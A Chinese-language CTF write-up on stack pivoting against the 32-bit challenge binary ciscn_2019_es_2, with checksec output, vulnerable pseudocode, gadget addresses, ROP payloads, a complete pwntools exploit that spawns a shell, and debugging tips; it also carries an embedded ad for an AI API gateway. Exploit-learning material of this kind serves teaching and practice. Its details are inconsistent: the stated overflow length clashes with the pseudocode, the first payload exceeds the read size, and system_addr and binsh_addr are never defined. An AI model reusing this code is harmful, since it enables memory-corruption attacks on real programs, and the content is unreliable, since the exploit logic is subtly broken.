1. 栈迁移技术背景与应用场景
栈迁移(Stack Pivoting)是二进制漏洞利用中的一项高级技术,主要用于解决传统栈溢出时空间不足的问题。当目标程序的栈空间较小,或者溢出长度受限时,攻击者可以通过精心构造的ROP链,将栈指针(ESP/RSP)迁移到其他可控制的内存区域(如堆、bss段等),从而获得更大的利用空间。
在CTF比赛中,栈迁移技术经常出现在以下场景:
- 存在栈溢出但溢出长度不足以布置完整ROP链
- 程序开启了NX保护但未开启PIE保护
- 存在可读写的全局变量区域或堆空间
- 题目刻意设计了小缓冲区来限制传统溢出方式
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. ciscn_2019_es_2题目分析
2.1 程序基本信息检查
首先使用checksec检查程序保护机制:
bash复制$ checksec ciscn_2019_es_2
[*] '/ctf/ciscn_2019_es_2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
关键信息:
- 32位程序
- 开启NX(堆栈不可执行)
- 未开启PIE(代码段地址固定)
- 无栈保护(canary)
2.2 漏洞点定位
通过逆向分析可以发现:
- 程序存在明显的栈溢出漏洞
- 但溢出长度仅有0x28字节,不足以布置完整的ROP链
- 程序在.bss段留有0x40大小的全局变量空间
关键函数伪代码:
c复制void vuln() {
char buf[0x20];
read(0, buf, 0x30); // 溢出0x10字节
}
3. 栈迁移利用详解
3.1 利用思路设计
由于直接溢出空间不足,我们需要:
- 第一次溢出:布置迁移目标地址和部分ROP链
- 触发栈迁移,将栈指针转移到.bss段
- 第二次输入:在.bss段布置完整ROP链
- 执行system("/bin/sh")获取shell
3.2 关键ROP链构造
需要找到以下关键gadget:
python复制leave_ret = 0x080484b8 # leave; ret
pop_ebp_ret = 0x0804838a
read_plt = 0x08048340
bss_addr = 0x0804A300
迁移原理:
- 通过第一次溢出控制EBP指向.bss段
- 执行leave指令时:
- MOV ESP, EBP
- POP EBP
- 栈指针转移到.bss段
3.3 完整利用流程
3.3.1 第一次溢出布置
python复制payload1 = b'A'*0x20 # padding
payload1 += p32(bss_addr+0x100) # 新EBP
payload1 += p32(read_plt) # 返回地址
payload1 += p32(0) # read参数1: fd
payload1 += p32(bss_addr) # read参数2: buf
payload1 += p32(0x100) # read参数3: size
3.3.2 第二次输入ROP链
python复制payload2 = p32(system_addr)
payload2 += b'BBBB' # 返回地址占位
payload2 += p32(binsh_addr) # system参数
payload2 += b'/bin/sh\x00' # 字符串
4. 实战利用脚本
完整exp.py示例:
python复制from pwn import *
context(arch='i386', os='linux')
p = process('./ciscn_2019_es_2')
leave_ret = 0x080484b8
read_plt = 0x08048340
bss_addr = 0x0804A300
# 第一次溢出触发栈迁移
payload1 = b'A'*0x20
payload1 += p32(bss_addr)
payload1 += p32(read_plt)
payload1 += p32(leave_ret)
payload1 += p32(0)
payload1 += p32(bss_addr)
payload1 += p32(0x100)
p.send(payload1)
# 第二次输入布置完整ROP链
rop = ROP('./ciscn_2019_es_2')
rop.system(next(rop.search(b'/bin/sh')))
payload2 = rop.chain()
p.send(payload2)
p.interactive()
5. 调试技巧与注意事项
5.1 调试关键点
- 在第一次leave指令执行前下断点:
bash复制
b *0x080484b8 - 观察ESP/EBP寄存器变化:
bash复制telescope $esp 10 info registers
5.2 常见问题解决
-
迁移后程序崩溃:
- 检查新栈地址是否可写
- 确保迁移后的栈对齐(32位需4字节对齐)
-
ROP链执行失败:
- 使用ropper或ROPgadget重新检查gadget可用性
- 确认参数传递顺序是否正确
-
字符串地址问题:
- 确保/bin/sh字符串有正确的终止符
- 考虑使用程序已有的字符串或分多次写入
6. 技术延伸与变种
栈迁移技术还有以下常见变种:
- 多次迁移:通过多次leave_ret实现栈指针的连续跳转
- 堆栈结合:将栈迁移到堆空间(需要堆地址泄露)
- 部分迁移:仅迁移部分栈帧,保留原栈部分内容
在更复杂的题目中,可能还需要结合:
- 地址泄露(通过puts/printf泄露libc)
- 堆风水(heap feng shui)技术
- FSOP(File Stream Oriented Programming)攻击
提示:在实际CTF比赛中,栈迁移经常与格式化字符串漏洞结合使用,先泄露关键地址再进行迁移。建议掌握pwntools的DynELF模块用法,可以高效处理无libc情况下的利用。
